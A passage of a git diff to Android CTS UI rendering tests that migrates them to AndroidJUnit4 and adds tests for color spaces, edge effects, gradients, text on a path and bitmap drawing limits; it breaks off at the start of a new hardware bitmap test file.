+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasStateTests.java
@@ -16,16 +16,23 @@
 
 package android.uirendering.cts.testclasses;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Bitmap;
 import android.graphics.Canvas;
+import android.graphics.Color;
 import android.graphics.Path;
 import android.graphics.RectF;
 import android.graphics.Region;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
-import org.junit.Test;
+import android.util.DisplayMetrics;
 
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Tests of state query-able from canvas at draw time.
@@ -34,6 +41,7 @@
  * capability to test the hardware accelerated Canvas in the way that it is used by Views.
  */
 @MediumTest
+@RunWith(AndroidJUnit4.class)
 public class CanvasStateTests extends ActivityTestBase {
     @Test
     public void testClipRectReturnValues() {
@@ -51,36 +59,6 @@
     }
 
     @Test
-    public void testClipRegionReturnValues() {
-        createTest()
-                .addCanvasClient((canvas, width, height) -> {
-                    canvas.save();
-                    RectF clipRectF = new RectF(0, 0, 20, 20);
-
-                    assertFalse(canvas.quickReject(0, 0, 20, 20, Canvas.EdgeType.BW));
-                    if (!canvas.isHardwareAccelerated()) {
-                        // SW canvas may not be in View space, so we offset the clipping region
-                        // so it will operate within the canvas client's window.
-                        // (Currently, this isn't necessary, since SW layer size == draw area)
-                        canvas.getMatrix().mapRect(clipRectF);
-                    }
-
-                    Region rectRegion = new Region();
-                    rectRegion.set((int) clipRectF.left, (int) clipRectF.top,
-                            (int) clipRectF.right, (int) clipRectF.bottom);
-
-                    boolean isNonEmpty = canvas.clipRegion(rectRegion);
-                    assertTrue("clip state should be non empty", isNonEmpty);
-
-                    // Note: we don't test that non-intersecting clip regions empty the clip,
-                    // For region clipping, the impl is allowed to return true conservatively
-                    // in many cases.
-                    canvas.restore();
-                })
-                .runWithoutVerification();
-    }
-
-    @Test
     public void testClipPathReturnValues() {
         createTest()
                 .addCanvasClient((canvas, width, height) -> {
@@ -114,4 +92,68 @@
                 })
                 .runWithoutVerification();
     }
+
+    private void testFailureOnBitmapDraw(Bitmap bitmap) {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    boolean sawException = false;
+                    try {
+                        canvas.drawBitmap(bitmap, 0, 0, null);
+                    } catch (RuntimeException e) {
+                        sawException = true;
+                    }
+                    assertTrue(sawException);
+                })
+                .runWithoutVerification();
+    }
+
+    @Test
+    public void testFailureOnDrawRecycledBitmap() {
+        Bitmap recycledBitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
+        recycledBitmap.recycle();
+        testFailureOnBitmapDraw(recycledBitmap);
+    }
+
+    @Test
+    public void testFailureOnNonPremultipliedBitmap() {
+        Bitmap nonPremultipliedBitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
+        nonPremultipliedBitmap.setPremultiplied(false);
+        nonPremultipliedBitmap.setHasAlpha(true);
+        testFailureOnBitmapDraw(nonPremultipliedBitmap);
+    }
+
+    @Test
+    public void testDrawScreenWideBitmap() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    DisplayMetrics displayMetrics =
+                            getActivity().getResources().getDisplayMetrics();
+                    assertTrue(displayMetrics.widthPixels <= canvas.getMaximumBitmapWidth());
+                    assertTrue(displayMetrics.heightPixels <= canvas.getMaximumBitmapHeight());
+                    Bitmap bitmap = Bitmap.createBitmap(displayMetrics.widthPixels,
+                            displayMetrics.heightPixels, Bitmap.Config.ARGB_8888);
+                    bitmap.eraseColor(Color.RED);
+                    canvas.drawBitmap(bitmap, 0, 0, null);
+                })
+                .runWithVerifier(new ColorVerifier(Color.RED, 0));
+    }
+
+    @Test
+    public void testDrawLargeBitmap() {
+        // verify that HW and SW pipelines can both draw screen-and-a-half sized bitmap
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    DisplayMetrics displayMetrics =
+                            getActivity().getResources().getDisplayMetrics();
+
+                    int bWidth = displayMetrics.widthPixels * 3 / 2;
+                    int bHeight = displayMetrics.heightPixels * 3 / 2;
+                    bWidth = Math.min(bWidth, canvas.getMaximumBitmapWidth());
+                    bHeight = Math.min(bHeight, canvas.getMaximumBitmapHeight());
+                    Bitmap bitmap = Bitmap.createBitmap(bWidth, bHeight, Bitmap.Config.ARGB_8888);
+                    bitmap.eraseColor(Color.RED);
+                    canvas.drawBitmap(bitmap, 0, 0, null);
+                })
+                .runWithVerifier(new ColorVerifier(Color.RED, 0));
+    }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
index cef2232..4991aac 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
@@ -17,21 +17,26 @@
 
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
+import android.graphics.Color;
 import android.graphics.Paint;
 import android.graphics.Point;
 import android.graphics.PorterDuff;
-import android.graphics.PorterDuffXfermode;
 import android.graphics.PorterDuffColorFilter;
-import android.test.suitebuilder.annotation.LargeTest;
+import android.graphics.PorterDuffXfermode;
+import android.graphics.drawable.ColorDrawable;
+import android.support.test.filters.LargeTest;
 import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
+
 import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
 
 import java.util.List;
 
-@LargeTest // large while non-parameterized
-//@RunWith(Parameterized.class) // TODO: Reenable when CTS supports parameterized tests
+@LargeTest // Temporarily hidden from presubmit
+@RunWith(Parameterized.class)
 public class ColorFilterAlphaTest extends ActivityTestBase {
     // We care about one point in each of the four rectangles of different alpha values, as well as
     // the area outside the rectangles
@@ -84,12 +89,16 @@
                 0xFFC21A1A, 0xFFC93333, 0xFFD04D4D, 0xFFD66666, 0xFFBB0000 } },
     };
 
-    //@Parameterized.Parameters(name = "{0}")
+    @Parameterized.Parameters(name = "{0}")
     public static List<XfermodeTest.Config> configs() {
         return XfermodeTest.configs(MODES_AND_EXPECTED_COLORS);
     }
 
-    private XfermodeTest.Config mConfig;
+    private final XfermodeTest.Config mConfig;
+
+    public ColorFilterAlphaTest(XfermodeTest.Config config) {
+        mConfig = config;
+    }
 
     private static final int[] BLOCK_COLORS = new int[] {
             0x33808080,
@@ -113,12 +122,25 @@
         return bitmap;
     }
 
+
+    @Override
+    public void setUp() {
+        super.setUp();
+
+        // temporary - ensure test isn't capturing window bg only
+        getInstrumentation().runOnMainSync(() -> getActivity().getWindow().setBackgroundDrawable(
+                        new ColorDrawable(Color.GREEN)));
+
+    }
+
     private CanvasClient mCanvasClient = new CanvasClient() {
         final Paint mPaint = new Paint();
         private final Bitmap mBitmap = createMultiRectBitmap();
 
         @Override
         public void draw(Canvas canvas, int width, int height) {
+            canvas.drawColor(Color.WHITE); // temporary - ensure test isn't capturing window bg only
+
             mPaint.setColorFilter(new PorterDuffColorFilter(FILTER_COLOR, mConfig.mode));
             canvas.drawBitmap(mBitmap, 0, 0, mPaint);
         }
@@ -126,12 +148,9 @@
 
     @Test
     public void test() {
-        for (XfermodeTest.Config config : configs()) {
-            mConfig = config;
-            createTest()
-                    .addCanvasClient(mCanvasClient, mConfig.hardwareAccelerated)
-                    .runWithVerifier(new SamplePointVerifier(TEST_POINTS, mConfig.expectedColors));
-        }
+        createTest()
+                .addCanvasClient(mCanvasClient, mConfig.hardwareAccelerated)
+                .runWithVerifier(new SamplePointVerifier(TEST_POINTS, mConfig.expectedColors));
     }
 }
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorSpaceTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorSpaceTests.java
new file mode 100644
index 0000000..13c8e91
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorSpaceTests.java
@@ -0,0 +1,191 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import static android.graphics.Bitmap.Config.ARGB_8888;
+import static android.graphics.Bitmap.Config.HARDWARE;
+import static android.graphics.Bitmap.Config.RGB_565;
+
+import android.content.res.AssetManager;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.BitmapShader;
+import android.graphics.Canvas;
+import android.graphics.Paint;
+import android.graphics.Point;
+import android.graphics.Shader;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.io.InputStream;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ColorSpaceTests extends ActivityTestBase {
+    private Bitmap mMask;
+
+    @Before
+    public void loadMask() {
+        Bitmap res = BitmapFactory.decodeResource(getActivity().getResources(),
+                android.uirendering.cts.R.drawable.alpha_mask);
+        mMask = Bitmap.createBitmap(res.getWidth(), res.getHeight(), Bitmap.Config.ALPHA_8);
+        Canvas c = new Canvas(mMask);
+        c.drawBitmap(res, 0, 0, null);
+    }
+
+    @Test
+    public void testDrawDisplayP3() {
+        // Uses hardware transfer function
+        Bitmap bitmap8888 = loadAsset("green-p3.png", ARGB_8888);
+        Bitmap bitmapHardware = loadAsset("green-p3.png", HARDWARE);
+        createTest()
+                .addCanvasClient("Draw_DisplayP3_8888",
+                        (c, w, h) -> drawAsset(c, bitmap8888), true)
+                .addCanvasClientWithoutUsingPicture(
+                        (c, w, h) -> drawAsset(c, bitmapHardware), true)
+                .runWithVerifier(new SamplePointVerifier(
+                        new Point[] {
+                                point(0, 0), point(48, 0), point(32, 40), point(0, 40), point(0, 56)
+                        },
+                        new int[] { 0xff00ff00, 0xff00ff00, 0xff00ff00, 0xffffffff, 0xff7f7f00 }
+                ));
+    }
+
+    @Test
+    public void testDrawDisplayP3Config565() {
+        // Uses hardware transfer function
+        Bitmap bitmap = loadAsset("green-p3.png", RGB_565);
+        createTest()
+                .addCanvasClient("Draw_DisplayP3_565", (c, w, h) -> drawAsset(c, bitmap), true)
+                .runWithVerifier(new SamplePointVerifier(
+                        new Point[] {
+                                point(0, 0), point(48, 0), point(32, 40), point(0, 40), point(0, 56)
+                        },
+                        new int[] { 0xff00ff00, 0xff00ff00, 0xff00ff00, 0xffffffff, 0xff7f7f00 }
+                ));
+    }
+
+    @Test
+    public void testDrawProPhotoRGB() {
+        // Uses hardware limited shader transfer function
+        Bitmap bitmap8888 = loadAsset("orange-prophotorgb.png", ARGB_8888);
+        Bitmap bitmapHardware = loadAsset("orange-prophotorgb.png", HARDWARE);
+        createTest()
+                .addCanvasClient("Draw_ProPhotoRGB_8888",
+                        (c, w, h) -> drawAsset(c, bitmap8888), true)
+                .addCanvasClientWithoutUsingPicture(
+                        (c, w, h) -> drawAsset(c, bitmapHardware), true)
+                .runWithVerifier(new SamplePointVerifier(
+                        new Point[] {
+                                point(0, 0), point(48, 0), point(32, 40), point(0, 40), point(0, 56)
+                        },
+                        new int[] { 0xffff7f00, 0xffff7f00, 0xffff7f00, 0xffffffff, 0xffff3f00 }
+                ));
+    }
+
+    @Test
+    public void testDrawProPhotoRGBConfig565() {
+        // Uses hardware limited shader transfer function
+        Bitmap bitmap = loadAsset("orange-prophotorgb.png", RGB_565);
+        createTest()
+                .addCanvasClient("Draw_ProPhotoRGB_565",
+                        (c, w, h) -> drawAsset(c, bitmap), true)
+                .runWithVerifier(new SamplePointVerifier(
+                        new Point[] {
+                                point(0, 0), point(48, 0), point(32, 40), point(0, 40), point(0, 56)
+                        },
+                        new int[] { 0xffff7f00, 0xffff7f00, 0xffff7f00, 0xffffffff, 0xffff3f00 }
+                ));
+    }
+
+    @Test
+    public void testDrawTranslucentAdobeRGB() {
+        // Uses hardware simplified gamma transfer function
+        Bitmap bitmap8888 = loadAsset("red-adobergb.png", ARGB_8888);
+        Bitmap bitmapHardware = loadAsset("red-adobergb.png", HARDWARE);
+        createTest()
+                .addCanvasClient("Draw_AdobeRGB_Translucent_8888",
+                        (c, w, h) -> drawTranslucentAsset(c, bitmap8888), true)
+                .addCanvasClientWithoutUsingPicture(
+                        (c, w, h) -> drawTranslucentAsset(c, bitmapHardware), true)
+                .runWithVerifier(new SamplePointVerifier(
+                        new Point[] { point(0, 0) },
+                        new int[] { 0xffed8080 }
+                ));
+    }
+
+    private void drawAsset(@NonNull Canvas canvas, Bitmap bitmap) {
+        // Render bitmap directly
+        canvas.save();
+        canvas.clipRect(0, 0, 32, 32);
+        canvas.drawBitmap(bitmap, 0, 0, null);
+        canvas.restore();
+
+        // Render bitmap via shader
+        Paint p = new Paint();
+        p.setShader(new BitmapShader(bitmap, Shader.TileMode.REPEAT, Shader.TileMode.REPEAT));
+        canvas.drawRect(32.0f, 0.0f, 64.0f, 32.0f, p);
+
+        // Render bitmap via shader using another bitmap as a mask
+        canvas.save();
+        canvas.clipRect(0, 32, 64, 48);
+        canvas.drawBitmap(mMask, 0, 0, p);
+        canvas.restore();
+
+        // Render bitmap with alpha to test modulation
+        p.setShader(null);
+        p.setAlpha(127);
+        canvas.save();
+        canvas.clipRect(0, 48, 64, 64);
+        canvas.drawColor(0xffff0000);
+        canvas.drawBitmap(bitmap, 0, 0, p);
+        canvas.restore();
+    }
+
+    @Nullable
+    private Bitmap loadAsset(@NonNull String assetName, @NonNull Bitmap.Config config) {
+        Bitmap bitmap;
+        AssetManager assets = getActivity().getResources().getAssets();
+        try (InputStream in = assets.open(assetName)) {
+            BitmapFactory.Options opts = new BitmapFactory.Options();
+            opts.inPreferredConfig = config;
+
+            bitmap = BitmapFactory.decodeStream(in, null, opts);
+        } catch (IOException e) {
+            throw new RuntimeException("Test failed: ", e);
+        }
+        return bitmap;
+    }
+
+    private void drawTranslucentAsset(@NonNull Canvas canvas, Bitmap bitmap) {
+        canvas.drawBitmap(bitmap, 0, 0, null);
+    }
+
+    @NonNull
+    private static Point point(int x, int y) {
+        return new Point(x, y);
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
new file mode 100644
index 0000000..c35d404
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
@@ -0,0 +1,215 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.uirendering.cts.testclasses;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.anyFloat;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+
+import android.app.Activity;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
+import android.uirendering.cts.testinfrastructure.MaterialActivity;
+import android.uirendering.cts.util.BitmapAsserter;
+import android.widget.EdgeEffect;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class EdgeEffectTests {
+
+    private static final int WIDTH = 90;
+    private static final int HEIGHT = 90;
+
+    @Rule
+    public TestName name = new TestName();
+
+    @Rule
+    public ActivityTestRule<MaterialActivity> mActivityRule = new ActivityTestRule<>(
+            MaterialActivity.class);
+
+    private BitmapAsserter mBitmapAsserter = new BitmapAsserter(this.getClass().getSimpleName(),
+            name.getMethodName());
+
+    interface EdgeEffectInitializer {
+        void initialize(EdgeEffect edgeEffect);
+    }
+
+    private Activity getActivity() {
+        return mActivityRule.getActivity();
+    }
+
+    @Before
+    public void setUp() {
+        mBitmapAsserter.setUp(getActivity());
+    }
+
+    private void assertEdgeEffect(EdgeEffectInitializer initializer, int goldenId) {
+        Bitmap bitmap = Bitmap.createBitmap(WIDTH, HEIGHT, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(bitmap);
+        canvas.drawColor(Color.WHITE);
+        EdgeEffect edgeEffect = new EdgeEffect(getActivity());
+        edgeEffect.setSize(WIDTH, HEIGHT);
+        edgeEffect.setColor(Color.RED);
+        initializer.initialize(edgeEffect);
+        edgeEffect.draw(canvas);
+
+        GoldenImageVerifier verifier = new GoldenImageVerifier(getActivity(), goldenId,
+                new MSSIMComparer(0.99));
+        mBitmapAsserter.assertBitmapIsVerified(bitmap, verifier,
+                name.getMethodName(), "EdgeEffect doesn't match expected");
+    }
+
+    @Test
+    public void testOnPull() {
+        assertEdgeEffect(edgeEffect -> {
+            edgeEffect.onPull(1);
+        }, R.drawable.edge_effect_red);
+    }
+
+    @Test
+    public void testSetSize() {
+        assertEdgeEffect(edgeEffect -> {
+            edgeEffect.setSize(70, 70);
+            edgeEffect.onPull(1);
+        }, R.drawable.edge_effect_size);
+    }
+
+    @Test
+    public void testSetColor() {
+        assertEdgeEffect(edgeEffect -> {
+            edgeEffect.setColor(Color.GREEN);
+            edgeEffect.onPull(1);
+        }, R.drawable.edge_effect_green);
+    }
+
+    @Test
+    public void testOnPullWithDisplacement() {
+        assertEdgeEffect(edgeEffect -> {
+            edgeEffect.onPull(1, 0);
+        }, R.drawable.edge_effect_displacement_0);
+
+        assertEdgeEffect(edgeEffect -> {
+            edgeEffect.onPull(1, 1);
+        }, R.drawable.edge_effect_displacement_1);
+    }
+
+    @Test
+    public void testIsFinished() {
+        EdgeEffect effect = new EdgeEffect(getActivity());
+        assertTrue(effect.isFinished());
+        effect.onPull(0.5f);
+        assertFalse(effect.isFinished());
+    }
+
+    @Test
+    public void testFinish() {
+        EdgeEffect effect = new EdgeEffect(getActivity());
+        effect.onPull(1);
+        effect.finish();
+        assertTrue(effect.isFinished());
+
+        effect.onAbsorb(1000);
+        effect.finish();
+        assertFalse(effect.draw(new Canvas()));
+    }
+
+    @Test
+    public void testGetColor() {
+        EdgeEffect effect = new EdgeEffect(getActivity());
+        effect.setColor(Color.GREEN);
+        assertEquals(Color.GREEN, effect.getColor());
+    }
+
+    @Test
+    public void testGetMaxHeight() {
+        EdgeEffect edgeEffect = new EdgeEffect(getActivity());
+        edgeEffect.setSize(200, 200);
+        assertTrue(edgeEffect.getMaxHeight() <= 200 * 2 + 1);
+        edgeEffect.setSize(200, 0);
+        assertEquals(0, edgeEffect.getMaxHeight());
+    }
+
+    private interface AlphaVerifier {
+        void verify(int oldAlpha, int newAlpha);
+    }
+
+    // validates changes to the alpha of draw commands produced by EdgeEffect
+    // over the course of an animation
+    private void verifyAlpha(EdgeEffectInitializer initializer, AlphaVerifier alphaVerifier) {
+        Canvas canvas = mock(Canvas.class);
+        ArgumentCaptor<Paint> captor = ArgumentCaptor.forClass(Paint.class);
+        EdgeEffect edgeEffect = new EdgeEffect(getActivity());
+        edgeEffect.setSize(200, 200);
+        initializer.initialize(edgeEffect);
+        edgeEffect.draw(canvas);
+        verify(canvas).drawCircle(anyFloat(), anyFloat(), anyFloat(), captor.capture());
+        int oldAlpha = captor.getValue().getAlpha();
+        for (int i = 0; i < 3; i++) {
+            try {
+                Thread.sleep(20);
+            } catch (InterruptedException e) {
+                fail();
+            }
+            canvas = mock(Canvas.class);
+            edgeEffect.draw(canvas);
+            verify(canvas).drawCircle(anyFloat(), anyFloat(), anyFloat(), captor.capture());
+            int newAlpha = captor.getValue().getAlpha();
+            alphaVerifier.verify(oldAlpha, newAlpha);
+            oldAlpha = newAlpha;
+        }
+    }
+
+    @LargeTest
+    @Test
+    public void testOnAbsorb() {
+        verifyAlpha(edgeEffect -> {
+            edgeEffect.onAbsorb(10000);
+        }, ((oldAlpha, newAlpha) -> {
+            assertTrue("Alpha should grow", oldAlpha < newAlpha);
+        }));
+    }
+
+    @Test
+    public void testOnRelease() {
+        verifyAlpha(edgeEffect -> {
+            edgeEffect.onPull(1);
+            edgeEffect.onRelease();
+        }, ((oldAlpha, newAlpha) -> {
+            assertTrue("Alpha should decrease", oldAlpha > newAlpha);
+        }));
+    }
+
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
index 6f90433..304303a 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
@@ -16,21 +16,30 @@
 
 package android.uirendering.cts.testclasses;
 
+import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
+import android.graphics.Path;
+import android.graphics.Picture;
 import android.graphics.PorterDuff;
 import android.graphics.Rect;
 import android.graphics.drawable.NinePatchDrawable;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.BitmapComparer;
 import android.uirendering.cts.bitmapcomparers.ExactComparer;
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
-import android.uirendering.cts.R;
+
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @MediumTest
+@RunWith(AndroidJUnit4.class)
 public class ExactCanvasTests extends ActivityTestBase {
     private final BitmapComparer mExactComparer = new ExactComparer();
 
@@ -138,6 +147,44 @@
                 .runWithComparer(mExactComparer);
     }
 
+    private void drawTestTextOnPath(Canvas canvas) {
+        final String testString = "THIS IS A TEST ON A CIRCLE PATH";
+        Path path = new Path();
+        path.addCircle(45, 45, 30, Path.Direction.CW);
+        Paint p = new Paint();
+        p.setColor(Color.BLACK);
+        p.setAntiAlias(true);
+        canvas.drawTextOnPath(testString, path, 0f, 0f, p);
+    }
+
+    @Test
+    public void testTextOnPath() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    drawTestTextOnPath(canvas);
+                })
+                .runWithVerifier(new GoldenImageVerifier(getActivity(),
+                    // HWUI's texts are blurry, so we lower the threshold.
+                    // Note that 0.7 will fail the test.
+                    R.drawable.text_on_path, new MSSIMComparer(0.6)));
+    }
+
+    @Test
+    public void testTextOnPathUsingPicture() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    Picture picture = new Picture();
+                    Canvas pictureCanvas = picture.beginRecording(90, 90);
+                    drawTestTextOnPath(pictureCanvas);
+                    picture.endRecording();
+                    picture.draw(canvas);
+                })
+                .runWithVerifier(new GoldenImageVerifier(getActivity(),
+                    // HWUI's texts are blurry, so we lower the threshold.
+                    // Note that 0.7 will fail the test.
+                    R.drawable.text_on_path, new MSSIMComparer(0.6)));
+    }
+
     @Test
     public void testBasicColorXfermode() {
         createTest()
@@ -158,13 +205,17 @@
                 new Rect(10, 10, 80, 80));
 
         createTest()
-                .addCanvasClient((canvas, width, height) -> {
+                // The border of the square is somehow blurred in HWUI OpenGL hardware mode with
+                // picture recording/playback. Maybe this is related to bug:31456967
+                // Hence disable picture mode for now.
+                .addCanvasClientWithoutUsingPicture((canvas, width, height) -> {
                     canvas.drawColor(Color.WHITE);
                     Paint p = new Paint();
                     p.setColor(Color.BLUE);
                     canvas.drawRect(10, 10, 80, 80, p);
                 })
-                .addCanvasClient((canvas, width, height) -> ninePatchDrawable.draw(canvas))
+                .addCanvasClientWithoutUsingPicture(
+                        (canvas, width, height) -> ninePatchDrawable.draw(canvas))
                 .addLayout(R.layout.blue_padded_square, null)
                 .runWithVerifier(verifier);
     }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
index 73779d6..ea7403b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
@@ -18,21 +18,22 @@
 
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
 import android.graphics.Typeface;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.BitmapComparer;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
-import android.uirendering.cts.testinfrastructure.CanvasClient;
 
-import android.uirendering.cts.R;
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @MediumTest
+@RunWith(AndroidJUnit4.class)
 public class FontRenderingTests extends ActivityTestBase {
     // Thresholds are barely loose enough for differences between sw and hw renderers.
     private static final double REGULAR_THRESHOLD = 0.92;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java
new file mode 100644
index 0000000..4b8b6b2
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.graphics.Color;
+import android.graphics.LinearGradient;
+import android.graphics.Paint;
+import android.graphics.Point;
+import android.graphics.Shader;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class GradientTests extends ActivityTestBase {
+    @Test
+    public void testAlphaPreMultiplication() {
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+
+                    // Add a red background to cover the activity's
+                    paint.setColor(Color.RED);
+                    canvas.drawRect(0.0f, 0.0f, width, height, paint);
+
+                    paint.setColor(Color.WHITE);
+                    paint.setShader(new LinearGradient(
+                            0.0f, 0.0f, 0.0f, 40.0f,
+                            0xffffffff, 0x00ffffff, Shader.TileMode.CLAMP)
+                    );
+                    canvas.drawRect(0.0f, 0.0f, width, height, paint);
+                }, true)
+                .runWithVerifier(new SamplePointVerifier(new Point[] {
+                        new Point(0, 0), new Point(0, 39)
+                }, new int[] {
+                        // Opaque white on red, result is white
+                        0xffffffff,
+                        // Transparent white on red, result is red
+                        // This means the source color (0x00ffffff) was
+                        // properly pre-multiplied
+                        0xffff0000
+                }, 20)); // Tolerance set to account for dithering and interpolation
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
new file mode 100644
index 0000000..1ff74bf
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
